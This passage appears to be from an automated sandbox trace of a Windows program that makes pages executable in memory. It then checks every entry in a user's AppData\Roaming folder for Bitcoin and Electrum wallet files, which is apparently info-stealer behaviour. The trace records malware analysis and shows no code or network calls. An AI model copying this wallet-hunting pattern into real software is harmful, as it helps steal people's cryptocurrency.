OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.594] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\eDL9vRODWdK0.avi\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\edl9vrodwdk0.avi\\wallets\\.wallet")) returned 0xffffffff [0165.594] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\eDL9vRODWdK0.avi\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\edl9vrodwdk0.avi\\wallet.dat")) returned 0xffffffff [0165.595] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\eDL9vRODWdK0.avi\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\edl9vrodwdk0.avi\\wallets\\wallet.dat")) returned 0xffffffff [0165.595] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\eDL9vRODWdK0.avi\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\edl9vrodwdk0.avi\\electrum.dat")) returned 0xffffffff [0165.595] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\eDL9vRODWdK0.avi\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\edl9vrodwdk0.avi\\wallets\\electrum.dat")) returned 0xffffffff [0165.595] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24edfbf0, ftCreationTime.dwHighDateTime=0x1d5e39b, ftLastAccessTime.dwLowDateTime=0x1cf7ef10, ftLastAccessTime.dwHighDateTime=0x1d5dc51, ftLastWriteTime.dwLowDateTime=0x1cf7ef10, ftLastWriteTime.dwHighDateTime=0x1d5dc51, nFileSizeHigh=0x0, nFileSizeLow=0x5890, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeDQmW2i.flv", cAlternateFileName="")) returned 1 [0165.595] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\FeDQmW2i.flv\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fedqmw2i.flv\\.wallet")) returned 0xffffffff [0165.596] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\FeDQmW2i.flv\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fedqmw2i.flv\\wallets\\.wallet")) returned 0xffffffff [0165.596] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\FeDQmW2i.flv\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fedqmw2i.flv\\wallet.dat")) returned 0xffffffff [0165.596] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\FeDQmW2i.flv\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fedqmw2i.flv\\wallets\\wallet.dat")) returned 0xffffffff [0165.596] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\FeDQmW2i.flv\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fedqmw2i.flv\\electrum.dat")) returned 0xffffffff [0165.596] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\FeDQmW2i.flv\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fedqmw2i.flv\\wallets\\electrum.dat")) returned 0xffffffff [0165.597] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88844280, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0x88844280, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x88a33460, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="fghvhghvgfdgfhchfg.exe", cAlternateFileName="FGHVHG~1.EXE")) returned 1 [0165.597] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\fghvhghvgfdgfhchfg.exe\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe\\.wallet")) returned 0xffffffff [0165.597] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\fghvhghvgfdgfhchfg.exe\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe\\wallets\\.wallet")) returned 0xffffffff [0165.597] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\fghvhghvgfdgfhchfg.exe\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe\\wallet.dat")) returned 0xffffffff [0165.597] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\fghvhghvgfdgfhchfg.exe\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe\\wallets\\wallet.dat")) returned 0xffffffff [0165.598] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\fghvhghvgfdgfhchfg.exe\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe\\electrum.dat")) returned 0xffffffff [0165.598] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\fghvhghvgfdgfhchfg.exe\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe\\wallets\\electrum.dat")) returned 0xffffffff [0165.598] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35635520, ftCreationTime.dwHighDateTime=0x1d5dad1, ftLastAccessTime.dwLowDateTime=0x2e6df2d0, ftLastAccessTime.dwHighDateTime=0x1d5dcb0, ftLastWriteTime.dwLowDateTime=0x2e6df2d0, ftLastWriteTime.dwHighDateTime=0x1d5dcb0, nFileSizeHigh=0x0, nFileSizeLow=0x18d91, dwReserved0=0x0, dwReserved1=0x0, cFileName="foOZ1HtoS4PjQ8Udex.avi", cAlternateFileName="FOOZ1H~1.AVI")) returned 1 [0165.598] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\foOZ1HtoS4PjQ8Udex.avi\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fooz1htos4pjq8udex.avi\\.wallet")) returned 0xffffffff [0165.598] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\foOZ1HtoS4PjQ8Udex.avi\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fooz1htos4pjq8udex.avi\\wallets\\.wallet")) returned 0xffffffff [0165.599] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\foOZ1HtoS4PjQ8Udex.avi\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fooz1htos4pjq8udex.avi\\wallet.dat")) returned 0xffffffff [0165.599] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\foOZ1HtoS4PjQ8Udex.avi\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fooz1htos4pjq8udex.avi\\wallets\\wallet.dat")) returned 0xffffffff [0165.599] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\foOZ1HtoS4PjQ8Udex.avi\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fooz1htos4pjq8udex.avi\\electrum.dat")) returned 0xffffffff [0165.600] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\foOZ1HtoS4PjQ8Udex.avi\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fooz1htos4pjq8udex.avi\\wallets\\electrum.dat")) returned 0xffffffff [0165.600] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x691ee690, ftCreationTime.dwHighDateTime=0x1d5e125, ftLastAccessTime.dwLowDateTime=0x221655f0, ftLastAccessTime.dwHighDateTime=0x1d5dd7c, ftLastWriteTime.dwLowDateTime=0x221655f0, ftLastWriteTime.dwHighDateTime=0x1d5dd7c, nFileSizeHigh=0x0, nFileSizeLow=0x17e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GU1xEN.png", cAlternateFileName="")) returned 1 [0165.600] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\GU1xEN.png\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\gu1xen.png\\.wallet")) returned 0xffffffff [0165.600] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\GU1xEN.png\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\gu1xen.png\\wallets\\.wallet")) returned 0xffffffff [0165.600] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\GU1xEN.png\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\gu1xen.png\\wallet.dat")) returned 0xffffffff [0165.600] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\GU1xEN.png\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\gu1xen.png\\wallets\\wallet.dat")) returned 0xffffffff [0165.601] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\GU1xEN.png\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\gu1xen.png\\electrum.dat")) returned 0xffffffff [0165.601] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\GU1xEN.png\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\gu1xen.png\\wallets\\electrum.dat")) returned 0xffffffff [0165.601] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf79b1a60, ftCreationTime.dwHighDateTime=0x1d5e571, ftLastAccessTime.dwLowDateTime=0x6bbdef80, ftLastAccessTime.dwHighDateTime=0x1d5de74, ftLastWriteTime.dwLowDateTime=0x6bbdef80, ftLastWriteTime.dwHighDateTime=0x1d5de74, nFileSizeHigh=0x0, nFileSizeLow=0xa135, dwReserved0=0x0, dwReserved1=0x0, cFileName="h7DVpNm6QA.png", cAlternateFileName="H7DVPN~1.PNG")) returned 1 [0165.601] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\h7DVpNm6QA.png\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\h7dvpnm6qa.png\\.wallet")) returned 0xffffffff [0165.601] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\h7DVpNm6QA.png\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\h7dvpnm6qa.png\\wallets\\.wallet")) returned 0xffffffff [0165.602] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\h7DVpNm6QA.png\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\h7dvpnm6qa.png\\wallet.dat")) returned 0xffffffff [0165.602] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\h7DVpNm6QA.png\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\h7dvpnm6qa.png\\wallets\\wallet.dat")) returned 0xffffffff [0165.602] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\h7DVpNm6QA.png\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\h7dvpnm6qa.png\\electrum.dat")) returned 0xffffffff [0165.603] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\h7DVpNm6QA.png\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\h7dvpnm6qa.png\\wallets\\electrum.dat")) returned 0xffffffff [0165.603] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee6f7310, ftCreationTime.dwHighDateTime=0x1d5d99a, ftLastAccessTime.dwLowDateTime=0xdf41a20, ftLastAccessTime.dwHighDateTime=0x1d5e4c1, ftLastWriteTime.dwLowDateTime=0xdf41a20, ftLastWriteTime.dwHighDateTime=0x1d5e4c1, nFileSizeHigh=0x0, nFileSizeLow=0xb36, dwReserved0=0x0, dwReserved1=0x0, cFileName="hhMbey-61drTCHdugi.m4a", cAlternateFileName="HHMBEY~1.M4A")) returned 1 [0165.603] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\hhMbey-61drTCHdugi.m4a\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\hhmbey-61drtchdugi.m4a\\.wallet")) returned 0xffffffff [0165.603] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\hhMbey-61drTCHdugi.m4a\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\hhmbey-61drtchdugi.m4a\\wallets\\.wallet")) returned 0xffffffff [0165.603] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\hhMbey-61drTCHdugi.m4a\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\hhmbey-61drtchdugi.m4a\\wallet.dat")) returned 0xffffffff [0165.604] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\hhMbey-61drTCHdugi.m4a\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\hhmbey-61drtchdugi.m4a\\wallets\\wallet.dat")) returned 0xffffffff [0165.604] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\hhMbey-61drTCHdugi.m4a\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\hhmbey-61drtchdugi.m4a\\electrum.dat")) returned 0xffffffff [0165.604] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\hhMbey-61drTCHdugi.m4a\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\hhmbey-61drtchdugi.m4a\\wallets\\electrum.dat")) returned 0xffffffff [0165.605] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0165.605] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Identities\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\identities\\.wallet")) returned 0xffffffff [0165.605] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Identities\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\identities\\wallets\\.wallet")) returned 0xffffffff [0165.605] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Identities\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\identities\\wallet.dat")) returned 0xffffffff [0165.606] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Identities\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\identities\\wallets\\wallet.dat")) returned 0xffffffff [0165.606] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Identities\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\identities\\electrum.dat")) returned 0xffffffff [0165.606] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Identities\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\identities\\wallets\\electrum.dat")) returned 0xffffffff [0165.606] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x881a49e0, ftCreationTime.dwHighDateTime=0x1d5dbb7, ftLastAccessTime.dwLowDateTime=0x8bb36f0, ftLastAccessTime.dwHighDateTime=0x1d5e837, ftLastWriteTime.dwLowDateTime=0x8bb36f0, ftLastWriteTime.dwHighDateTime=0x1d5e837, nFileSizeHigh=0x0, nFileSizeLow=0x1484d, dwReserved0=0x0, dwReserved1=0x0, cFileName="iY Y.mp3", cAlternateFileName="IYY~1.MP3")) returned 1 [0165.606] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\iY Y.mp3\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\iy y.mp3\\.wallet")) returned 0xffffffff [0165.607] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\iY Y.mp3\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\iy y.mp3\\wallets\\.wallet")) returned 0xffffffff [0165.607] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\iY Y.mp3\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\iy y.mp3\\wallet.dat")) returned 0xffffffff [0165.607] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\iY Y.mp3\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\iy y.mp3\\wallets\\wallet.dat")) returned 0xffffffff [0165.607] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\iY Y.mp3\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\iy y.mp3\\electrum.dat")) returned 0xffffffff [0165.608] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\iY Y.mp3\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\iy y.mp3\\wallets\\electrum.dat")) returned 0xffffffff [0165.608] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x292708f0, ftCreationTime.dwHighDateTime=0x1d5e1b2, ftLastAccessTime.dwLowDateTime=0xca44f430, ftLastAccessTime.dwHighDateTime=0x1d5df97, ftLastWriteTime.dwLowDateTime=0xca44f430, ftLastWriteTime.dwHighDateTime=0x1d5df97, nFileSizeHigh=0x0, nFileSizeLow=0x5ddb, dwReserved0=0x0, dwReserved1=0x0, cFileName="kSQ8d9iRcfRWCQRh.gif", cAlternateFileName="KSQ8D9~1.GIF")) returned 1 [0165.608] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\kSQ8d9iRcfRWCQRh.gif\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ksq8d9ircfrwcqrh.gif\\.wallet")) returned 0xffffffff [0165.608] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\kSQ8d9iRcfRWCQRh.gif\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ksq8d9ircfrwcqrh.gif\\wallets\\.wallet")) returned 0xffffffff [0165.608] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\kSQ8d9iRcfRWCQRh.gif\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ksq8d9ircfrwcqrh.gif\\wallet.dat")) returned 0xffffffff [0165.609] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\kSQ8d9iRcfRWCQRh.gif\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ksq8d9ircfrwcqrh.gif\\wallets\\wallet.dat")) returned 0xffffffff [0165.609] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\kSQ8d9iRcfRWCQRh.gif\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ksq8d9ircfrwcqrh.gif\\electrum.dat")) returned 0xffffffff [0165.609] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\kSQ8d9iRcfRWCQRh.gif\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ksq8d9ircfrwcqrh.gif\\wallets\\electrum.dat")) returned 0xffffffff [0165.609] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90351240, ftCreationTime.dwHighDateTime=0x1d5d93c, ftLastAccessTime.dwLowDateTime=0xa99833d0, ftLastAccessTime.dwHighDateTime=0x1d5dfd5, ftLastWriteTime.dwLowDateTime=0xa99833d0, ftLastWriteTime.dwHighDateTime=0x1d5dfd5, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LJc6a5Q_MmBs.swf", cAlternateFileName="LJC6A5~1.SWF")) returned 1 [0165.609] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LJc6a5Q_MmBs.swf\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ljc6a5q_mmbs.swf\\.wallet")) returned 0xffffffff [0165.610] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LJc6a5Q_MmBs.swf\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ljc6a5q_mmbs.swf\\wallets\\.wallet")) returned 0xffffffff [0165.611] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LJc6a5Q_MmBs.swf\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ljc6a5q_mmbs.swf\\wallet.dat")) returned 0xffffffff [0165.611] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LJc6a5Q_MmBs.swf\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ljc6a5q_mmbs.swf\\wallets\\wallet.dat")) returned 0xffffffff [0165.611] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LJc6a5Q_MmBs.swf\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ljc6a5q_mmbs.swf\\electrum.dat")) returned 0xffffffff [0165.611] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LJc6a5Q_MmBs.swf\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\ljc6a5q_mmbs.swf\\wallets\\electrum.dat")) returned 0xffffffff [0165.611] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf4338a70, ftCreationTime.dwHighDateTime=0x1d5df94, ftLastAccessTime.dwLowDateTime=0x37236a50, ftLastAccessTime.dwHighDateTime=0x1d5ddb3, ftLastWriteTime.dwLowDateTime=0x37236a50, ftLastWriteTime.dwHighDateTime=0x1d5ddb3, nFileSizeHigh=0x0, nFileSizeLow=0xf2f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYycmo-cjNTfWau.pdf", cAlternateFileName="LYYCMO~1.PDF")) returned 1 [0165.612] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LYycmo-cjNTfWau.pdf\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\lyycmo-cjntfwau.pdf\\.wallet")) returned 0xffffffff [0165.612] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LYycmo-cjNTfWau.pdf\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\lyycmo-cjntfwau.pdf\\wallets\\.wallet")) returned 0xffffffff [0165.612] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LYycmo-cjNTfWau.pdf\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\lyycmo-cjntfwau.pdf\\wallet.dat")) returned 0xffffffff [0165.612] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LYycmo-cjNTfWau.pdf\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\lyycmo-cjntfwau.pdf\\wallets\\wallet.dat")) returned 0xffffffff [0165.613] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LYycmo-cjNTfWau.pdf\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\lyycmo-cjntfwau.pdf\\electrum.dat")) returned 0xffffffff [0165.613] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\LYycmo-cjNTfWau.pdf\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\lyycmo-cjntfwau.pdf\\wallets\\electrum.dat")) returned 0xffffffff [0165.613] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e9da800, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0165.613] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Macromedia\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\macromedia\\.wallet")) returned 0xffffffff [0165.613] 